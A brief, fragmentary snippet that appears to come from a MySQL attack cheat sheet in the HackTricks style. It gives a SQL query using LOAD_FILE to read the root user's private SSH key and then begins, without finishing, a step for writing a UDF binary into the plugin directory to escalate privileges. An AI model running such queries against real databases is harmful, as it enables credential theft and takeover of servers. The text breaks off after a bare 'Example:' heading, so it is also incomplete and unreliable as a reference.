Mysql Hacktricks Verified -

-- Read SSH keys (if MySQL running as root — rare but possible) SELECT LOAD_FILE('/root/.ssh/id_rsa');

Write the UDF binary to plugin_dir :

Example: